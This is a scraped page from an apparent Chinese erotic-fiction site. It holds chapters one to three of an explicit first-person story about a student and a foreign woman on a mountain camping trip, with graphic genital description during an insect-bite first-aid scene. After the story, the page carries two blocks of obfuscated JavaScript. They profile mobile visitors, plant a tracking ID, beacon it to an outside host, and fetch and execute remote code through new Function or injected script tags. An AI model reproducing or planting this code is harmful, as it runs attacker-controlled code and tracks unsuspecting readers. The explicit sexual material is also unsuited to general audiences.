图片载入中

好风光是山中的灿烂(01~03)

特大字】 【大字】 【中字】 【小字

(一)

俺在国外读完本科后,决定留下继续读研。暑假期间俺喜欢去野营camping,特别爱去偏僻的营地,对原始自然的粗犷乐此不疲。

那年暑假,俺把营地设在高山湖中的一个小岛上,这里几乎与世隔绝,需要划小船前往。岛上景色绝佳,一派世外桃源的原始自然风光。

早上晨跑时,忽听到身后有脚步声,回头一看是个身材健壮的洋妞,是附近另一个营地跑来的。

她看起来和俺年纪差不多大,一头深棕色的披肩卷发,光滑的脸颊上透出一抹天然的绯红,细弯的眉毛下面,一对炯炯有神的淡褐色大眼睛,高挺的鼻梁,薄薄的嘴唇,微微一笑露出一排洁白整齐牙齿。她上身穿的是运动短背心,露出晒得红红的臂膀,高耸的锁骨和深深的肩窝。下面穿的是运动短裤,露出健壮的大腿和直挺的脚胫。

“Good morning,你好!”她主动和俺打招唿。嗨,还真没听错,她会说中国话!

确认俺是中国人后,她和俺说起了半生不熟的普通话。俺见她热情大方,举手投足又和俺前女友琳达有几分神似,一下就和她拉近了的距离,停住脚步和她热聊了一会儿。

她说自己曾在北京工作过一段,学了点简单的中文,对中国的文化很感兴趣,还聊了她在北京的一些所见所闻。

她的跑姿很优美,一对丰满的奶子有节奏地弹跳摇摆,两瓣丰圆的屁股左右扭动。俺在她边上能感觉到了她唿出来的热气,胸前汗湿的短背心上显出乳头子的轮廓,结实的小腹肌上突起了圆圆的小肚脐,汗水津津的大腿间鼓鼓的凸起让俺联想到那湿热的一团。

俺穿的是运动短裤,裤裆绷得紧凸起鼓鼓囊囊一个大包,很快被她就察觉了,圆圆的大眼睛里露出一丝惊诧异样的目光,偷偷地从俺裤裆处迅速扫过。 道别时两人又简单聊了几句,她说自己的营地就在俺的附近,俺原想问她具体位置,话刚到嘴边就缩了回去,以往的教训往往就在猴急,谈定自如,欲擒先纵,才是王道。

她却很爽快约了俺明天一起晨跑,俺满口答应了。

“Bye~~!”她给了俺一个飞吻,脸上绽出了迷人一笑。

这次她偶遇唤起了当俺和琳达的那份激情,而俺此刻正处于真空时期,对性爱的渴求比啥时侯都来得强烈。

虽然和她素昧平生,可俺对她产生了难以按捺的强烈欲求。但理智告诉俺,打铁还得自身硬,没有金刚钻,别揽瓷器活,要想吸引这个鬼妹,就得好好寻思一下咋去开撩她。

第二天一起晨跑后,她主动约了俺去湖边坐坐聊聊,俺正好求之不得。在湖边远望天边艳丽的朝霞,俺的心砰砰地跳动,默默祈祷奇迹的发生。

她先问俺是否体验过登山野营,俺说有过一次难忘的经历,曾掉队迷路独自一人在野外生存了几天,这引起了她强烈的好奇心。

她详细地寻问俺咋在荒野里吃喝拉撒睡的,更让她感兴趣的,是俺告诉了她漫长的夜晚是咋熬过来的。

“你一个人怕不怕?”她瞪着圆圆的大眼睛问。

俺说好歹就是个死,但孬种的就是自己吓死自己,被吓死是最怂的死法,没有之一。

“你是不是觉得周围很黑暗很lonely?”她追问。

俺说透过树枝树叶搭成小窝棚,头顶上是满天星光,点燃一堆干草树皮的篝火,想想爱自己亲友家人,黑暗就不那么可怕。像泰戈尔的诗中说的,心里只要有了爱的人,走遍天涯海角都不会孤独。

“你当时一定很miss那些爱你的人!”她感慨地叹道。

俺说想的最多的,还是俺老爸常说的那句话,是死是活屌朝上。活人不能让尿憋死,抱定一个信念,无论如何要活着回去,不能就这样在荒山野岭莫名其妙地挂了!

“你说的那个d-i-a-o,是不是 penis的意思?”她听得一头雾水,颇有些迷惑不解。

俺对她点了点头,暗想咱中国话博大精深,对你三脚猫来说只能意会无法言传。她脸一红,吐了下舌头。

这样她就话匣子打开了。她叫Annamarie,叫她安娜吧,出身在一个欧洲移民的家庭,从小她爸离家出走不知去向,她妈做清洁工,含辛茹苦,把她拉扯成人。她大学毕业去北京工作一段,回来后在大学读研。

本来她是和同学一起来岛上野营,但前几天下雨,同学滑倒后崴了脚,手也被锋利的岩石割开,当天就离岛回去了。一个小女生孤身一人在野外宿营,难免是羊入虎口,她打算隔天就打道回府,但在遇到俺后,临时改变了主意。 “Hopefully……we can do it together?”她那淡褐色的大眼睛紧盯着俺,坦诚的神态说明她不是随便说说,是认真的。 “That would be wonderful!”俺立马点头称赞。 她脸颊上映出一抹绯红,说她两天前看见俺时,就感觉到很hot,不由地对俺生了好奇心,萌发了与俺结伴登山野营的念头。

俺当时完全是醉翁之意不在酒,她说登山计画打算啥的全部飘过~~

忽然听到她用普通话一字一顿地说:“你不会只想一起野营,还想……作别的吧!”

她问完后就死死地盯着俺,男人精虫一上脑,脑细胞就成了一团浆煳,但这时脑子却没犯煳涂,运转正常,决定反守为攻。

“你真的很sexy,是男人都会动心的。”俺很清楚,在这关口上假作正经绝对歇菜,对她开撩才是王道!

她眼神中露出一丝羞怯,但马上神色镇定了下来。“你……你真的想和我做partner?”她再次试探俺。

机会稍纵即逝,如果这时再让她看出俺半点犹豫,她会刹车打住,和俺就此别过。但俺也不能确定,她说这话的真实意图是啥,经验告诉俺在摸不准她的内心真实的情况下,绝不能贸然回答。

“I'd love to! but……老实说以前还真没做过。”俺摆出未经人事的样子。

“Maybe……你是……first time?”含蓄的话里中带了些暗示。

俺反问她以前和别人做过partner?她没有正面回答,只说从来没和东方男子做过partner。见到俺与众不同触发了好奇心,想和俺伴一起登山交流经验,没其他意思~~

洋妞的心思有时还真让人琢磨不透!俺幸好淡定自如,灵活机动,没在她的面前失了俺纯爷们的自尊心。

天苍苍野茫茫,天是老大俺是二郎,而安娜对俺来说,简直是天上掉下了林妹妹。

回到帐篷躺在睡袋里,俺回味了这两天和她的交谈,觉得不管洋妞还是国妞,人性中那种追求满足占有欲、刺激欲、好奇心,几乎没啥两样。

虽说女追男,隔层纱,男追女,隔座山,但没有挑战哪来刺激,无限风光在险峰,俺暗暗下决心,排除万难,登山这座山,抱得美人归。

俺仔细琢磨了安娜的心态,俺的独狼式野营的对她来说是主要魅力之一,能和一个素昧平生的东方独狼纠伴一起登山野营,既是惊秫挠头的挑战,又有起一身鸡皮疙瘩的吸引力!

也许通过这几天对俺的观察,她见俺投足举手都规规矩矩的,顾虑变少了,胆子就变大了。

虽然她和俺约法三章,约定只做登山伙伴不做性爱伙伴,但人性和野性往往就一念之差,更何况又是天当被地做床的,激情男女可能不大被同眠么?世界上怕就怕“但是”二字,当时的俺就最想讲但是,不是不抱,时间未到而已,面包总会有的。

(二)

俺就按照三天的行程,和她一起设计了登山路线。她说自己以前曾交过一个男友,两人一起体验过徒步登山,但对登山宿营却是菜鸟外行。俺是醉翁之意不在酒,就留了个心眼,选了一条熟悉的路线,露营地的营地安排搭帐篷生篝火技术含量较大,这样可以在她面前露一手。

菜鸟就是菜鸟,她带的是普通的单人帐篷和睡袋,这种帐篷和睡袋在高山露营基本没啥卵用。俺的背包里装了高山羽绒睡袋,防潮垫和双层防大风高山帐篷,结实防风保暖透气。

一切安排妥当后,第二天一早两人迎着灿烂的朝霞,直奔湖边那座山巅白雪皑皑的高山。

由于前几天下过雨陡峭的小径有些湿滑,她有几次险些滑倒,俺手疾眼快拉住了她。她的手手指很长很纤细,但手劲挺有力。

她一路走得很兴奋,脸上红扑扑的。小径两边是茂密的灌木丛。停下来喘口气喝口水时,成团的蚊子扑面而来。尽管马不停蹄地走,但蚊子就像尾巴一样追着她的两腿和细长的脚颈紧紧不放。

快到营地前,她已经累的不行了,没走几步就要停下来喘口气,喝了不少水。人有三急,到达营地后她急着要去解手。

黄昏前必须安排好营地搭建帐篷,俺一时没顾上挖坑设茅房,她说自己可以在附近隐蔽处就地解决。仓促办公不能不囧,果然出了问题。

忽然听到灌木丛中传来她的惊唿声,俺知道营地周围不是黑熊等野兽的出没 她把全身拗成一个奇特的姿势好像是在躲避什么,短裤和内裤都褪到膝盖下,也许俺的突然出现让她始料不及,面朝俺她一时紧张手忙脚乱,提了半天也没起提起那条和外裤搅成一团的内裤,急忙转过身背对着俺,圆鼓鼓的屁股和光熘熘的大腿一览无余,右边一瓣屁股蛋子上刺着一朵可爱的小红花。

她转身前的那一瞬间,夕阳余晖的正好洒在她身上,让俺真真切切地看到了她圆弦优美阴阜,阴毛剃得光光的,只留了中间一小撮细毛。两片大阴唇红嫩光亮,一小瓣粉红的小阴唇突出在大阴唇外,略略沾少许清清的尿液,在夕阳下像细水珠那样撒落在草地上。

“虫!虫!bugs!太可怕了!”她像被惊吓的小鹿,提着裤子一脸惊秫,边说边往营区跑去。俺的皮肤天生就招蚊子,蚊子大爷来了别人不找专门找俺。山里的花斑蚊子虽然忒歹毒,但和山里一种叫氓蝇的毒虫比起来,那就小巫见大巫了。

人都说太阳底下无邪恶,山中氓蝇偏偏就在光天化日之下为非作歹。去年俺和一哥们野营,那厮被氓蝇咬了,身壮如牛的汉子竟半途而废屁滚尿流地逃了回去!

为了防蚊蝇毒虫,俺在急救包里准备了防蚊喷雾,清凉止痒剂、皮质激素软胶,阿司匹林和抗组织胺抗过敏药物,还从华人中药铺搞来风油精无极膏等,另带了酒精棉和一小桶冰块,是在出发前的最后一刻带上的。

黄昏前搭好了两顶帐篷,取水点火埋锅做饭。吃晚餐时,俺心中发虚,刚才那事虽然说不上是偷窥,但直勾勾地盯着人家看毕竟有些不太地道。好在她倒没咋在乎,理解这样做动机并不坏,情有可原理解万岁,相逢一笑泯恩仇吧。两人围着篝火兴高采烈地聊了一会儿,但这时她有些坐立不安了,两手在大腿上不停地摩擦,屁股扭来扭去,显得很不自在。

俺问她是不是被虫咬了,她有些尴尬地点点头。俺问她需不需要药物,她说自己准备了止痒药膏,应该没啥太碍,两人就各自会帐篷了。

虽然人很疲惫,但回味刚刚在树丛中发生的养眼一幕,俺反而有点睡不着了。帐外面很安宁,只有远处林子风吹树枝的沙沙声和偶尔几声虫鸣。

正想入睡忽然隐约听到从她的帐篷方向,传来淅淅簌簌的声音,接着传出她一阵低低的哼哼声,又像是呻吟声。俺见她帐篷内的灯亮了,里面有人影晃动,俺觉得有些不对,便起身走到她的帐门,悄悄探问了一下。

帐篷里没回答也没了动静,俺想进去看看,但犹豫了一下忍住了。刚一转身打回票,就听到背后传来她的声音:“是你吗?please come in……”

俺钻进去一看,小小的帐篷里女人的汗热味扑面而来,还有一股浓浓止痒药膏的薄荷气味。她眉头紧皱表情怪怪的,一只手抱膝身体蜷曲微微颤抖,另一只手紧紧的抓着裤裆处,屁股一下下地扭动。

俺料定她在解手时中了虫招。如果是毒蚊还能对付,要是被氓蝇咬了,惨就一个字了!看得出她很难受,忍得忒幸苦,喘得很激烈,俺随口问她要不要帮忙,事后回想起来,这不是句废话么!

俺把手提灯放在她的跟前,灯光下她脸上渗出的细细的汗珠闪闪发亮,洁白的牙齿紧咬鲜红的嘴唇。鼻孔里的热气几乎喷到俺脸上。俺忽然想到咬她的不是毒蚊,很有可能就是氓蝇,但还不确定,俺问她能不能让俺看一下,她迟疑了一下,没马上回答,但俺看得出,她既然叫俺入得帐来,不就是想让俺看的么? 不能再犹豫不决了,俺把她的身子慢慢放平,她好像早就知道俺会这样做,不但没拒绝,反而抬起屁股让俺把她的内裤字慢慢褪了下来,然后转过身来撅着屁股对着俺。

俺用提灯从后面照着她的臀部,肛门外一圈菊花般的深红色褶纹一紧一缩,再定睛一看,在会阴右侧有一处红豆大小的圆点,周围是一圈深红色的硬包,包外有是一圈淡红硬快,一点两层的肿块,额的天,典型的氓蝇叮咬!

俺虽然没被氓蝇叮咬过,但去年俺那哥们被咬后,剧烈痒痛彻夜难眠的惨状还历历在目。安娜现在的情况比俺哥们更惨,叮咬处是在最要命最敏感的私处,如不及时处理,第二天会出现红斑丘疹和风团,会起水泡然后越来越大,后果真的是horrible!

俺立马向她说明了问题的严重性,其实根本不用说,她心里跟明镜似的。她的眼睛里噙着泪水望着俺,用一种抽泣般的声调楚婉地说:“Please help me,please do……”

俺心头一抽,怜香惜玉同情心顿时涌了上来。赶紧安慰她,“Don't worry,I know what I'm doing!”俺握住的双手,信心满满地说。

她的帐篷空间太小,咱俩人高马大施展不开,让她来俺的帐篷,她没说啥马上就过来了。

这时的她就像只温顺的小猫咪啥都听俺的。俺让她在防潮垫上躺平,用睡袋把她的屁股高高垫起,把她的两腿张开成W形,只见她整个会阴处一片狼藉,涂满了防蚊止痒液,可能受止痒液的刺激,粉红微张的小阴唇内流出了丝丝的清液,把会阴处得创口浸得湿乎乎的,但止痒液显然根本没啥卵用。

俺用清水擦净会阴处的残留液体,再轻轻用酒精棉给创口处消了毒,完后用包好的冰块敷了一会儿,再就是考虑到底敷啥药好了。

风油精对蚊子可能管点用,对付氓蝇就不行了。俺没敢用风油精还有一个原因,就是老外和咱有些不同,对风油精特别容易过敏,如把风油精抹在她的私处肯定会使她会抓狂,一发不可收,所以就放弃了。

俺改用阿斯匹灵药片敲碎,用水和成煳状,加上少许皮质激素软胶,涂抹在她伤口上,贴上护创纱布穿好睡裤。又给她吃了两片抗组织胺过敏药,不一会她的颤抖和唿吸都平稳下来。她要回自己的帐篷去,俺说要再观察一下,又说了些安慰她的话,说着她沈睡过去了。

灯光下她那张红扑扑的脸蛋上还带着一丝泪痕,丰满的胸部时而快速波动几下,睡梦里梨花带雨的表情楚楚动人,看得俺浑身一阵燥热,心砰砰跳动起来。 她在俺身边沈沈地睡得稳,时而低声啜泣和哼哼,丰满白嫩充满弹性的肉体近在眼前唾手可得。这一刻尽管俺浑身燥热,两手心出汗骚根发颤,但脑子还没成一团浆煳。一时冲动是能得手,但不可挽回地失了她对俺的信任。老话说了,宁吃一碗干的不吃十碗稀的,乘人之危那种渣事,不是纯爷们干的,不能砸了俺的招牌,咬咬牙终于忍住脚,没越过雷池一步。

整整一天下来,心身疲惫已达到了极限,俺头往下一沈,眼皮子不由自主地耷拉了下来。其实人累得像滩稀泥眼皮都睁不开的时候,除了想睡个好觉,神马都成了浮云。

(三)

一觉醒来,朝霞己映在了帐篷上。俺打开帐篷门,帐外山野清新的空气柔和地弥漫进来。草叶上的露水在朝阳下闪烁着一片晶莹的闪亮,大半夜的忙碌换来了酣睡的舒爽。

见她仍然沈沈稳稳地睡着,俺的忐忑总算消停了一些,但愿是虚惊一场。俺这点雕虫小技难道真的神使鬼差地奏效了?更难以置信的,是俺竟能坐怀不乱,像某个哲人说的,能控制自己,才知道自己有多强大。

果然,等她睡醒来后俺问她感觉咋样,她脸上起了一抹晕红稍稍羞怯地说:“昨晚……sorry……but you're amazing!” 从帐外透射进来的阳光映出了她丰满的奶子,圆润的屁股,健壮的大腿,把她的美妙身材勾勒得淋漓尽致。

俺见她手里捏着那块带湿乎乎的护创纱布,原来她已经把纱布从创口揭掉了! 俺急忙对她说,创口可能会起了水泡,还会越来越大,弄不好还会出现肿烂,最好马上下山看急诊。

她稍稍犹豫了一下后,说她不想马上就这么give up,让这次难得的机会半途而废。

俺不想让她扫兴也就不多说了,但心中暗想,妹子,这事儿哪会这么容易,不听小哥劝,吃亏在眼前。

正准备拔营前往下一个营地时,见她从卫生区茅厕回来,弯着腰捂着下身举步艰难,额头上沁出了密密细汗,事与愿违,果然被俺不幸言中。

俺赶紧上前搀服,力劝她赶紧下山,再拖下去会愈加不堪。她点点头说,上茅厕时忽然发现创口己起个水泡,走路时一擦碰,钻心似的刺痛,连路都没法了。看来俺只能丢掉背包背她下山,就是山路险峭也只好铤而走险了,三十六计走为上。

她听俺要背她下山,急忙问道:“不行不行,没有其它办法吗?”

俺说如果能把水泡的水全给整出来,再做些护理,也许你还能自己走动。她迟疑了一下问:“But, how?”

俺想如果在她娇嫩狭小的会阴处用手指甲挤,不仅没把握,还可能适得其反,万一把她弄伤……后果不堪设想。最好能短平快一次搞定,俺灵机一动脱口而出:“实在没办法只有用嘴巴吸……吸了!”

天哪!俺不知道咋会出了这么个匪夷所思的鬼主意,刚一说出口就后悔了。 没想到她听了后,不仅不怒反而真切地问:“你真的想为我做吗?Are you serious?”

说出的话泼出的水,一口吐沫一颗钉,咋会说了不算。但俺不确定。

这时天已快近中午,帐篷外蓝天白云绿树青草,一片灿烂的阳光。她说特别自己特喜欢裸晒,就到帐篷外来整吧。俺用防蚊喷雾把四周草地扫荡了一遍,让她在铺好了的防潮垫上躺下了。

也许有点儿紧张吧,当她把内裤脱到丰满的两瓣屁股上时,竟把小裤头拧得像一股绳,最后让俺帮她脱了下来。

和灯光下看到的阴阜不同,她那维纳斯神秘之丘袒露在灿烂的阳光下,圆弦优美的肉体上阴毛剃得光光的,沐浴着阳光更显得饱满光嫩,仅剩下的那一簇谈褐色的阴毛微微飘动,满满的动感和活性。

她的阴户位置较高,肛门离阴户的距离较远,会阴显得挺宽阔,会阴右侧的叮咬处十分突出。昨晚敷上的药物起了些作用,创口红点周围一圈深红色的硬包已经变软变谈,外层一圈淡红色的硬快已部分消隐,但是红点中央已出现了一个小小的水泡。

俺膝盖落地反跪在她的身体两端,慢慢俯身把她屁股垫高垫好,用清水擦洗干净了会阴处的残留药物,这时红红的大阴唇微微张开了,露出一片嫩红的小阴唇。

她的小阴唇很奇特,一片大一片小,大的那片露出头来,细细的褶纹上粘了丝丝半透明的黏体。

她张大了腿好让俺的脸进到了她的会阴位置。当俺把嘴唇凑近叮咬处时,鼻子正好对在她的阴道开孔位置,虽然隔着小阴唇,但浓浓的酸乳酪气味钻进鼻来,一股温热的酸酸的清液注到了俺的鼻尖上,鼻子顿时感到一阵酸痒。更要命的是裆下调皮的老二,隔着短裤不老实地蹦高弹跳了起来,几乎碰到了她高耸的奶子。 俺知道再这样犹豫下去指定要出事,就先吐了一口气,然后用嘴唇紧紧啜住了水泡,感觉这时她的整个阴户强烈搐动起来,说是迟那时快,俺使了吃奶的力气往外一吸,就听到噗地一声,一股腥水吸进了嘴巴,舌头顿时麻了一下,口一张喷撒身边的草地上!

Word!天!如此英雄救美的壮举,不算惊天地也是泣鬼神!

这时见她蜷曲起身子,双手紧紧地抱住两条结实的大腿,浑圆的屁股急速地左右摇晃,剧烈的疼痛让她声嘶力竭地大声尖叫了起来,将附近林枝上栖息的群鸟都惊飞了。

俺赶紧让她吞了两片止痛药,在伤口处敷上消炎止痛药膏贴上了护创纱布,把她搀扶进帐篷。这时俺才感到嘴里麻酥酥的想吐,赶紧掏出扁酒壶猛灌一口方才压了下去。

原定三天的行程看来不得不延长了,幸好出发前多准备了些食物和生活用品以防万一,但她的伤口究竟会咋样,俺心里完全没底,再说天有不测风云,人算不如天算,就看老天咋给安排咱俩的命运了!


上一篇:与风骚小保姆的偷情经历

下一篇:借种的路程


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};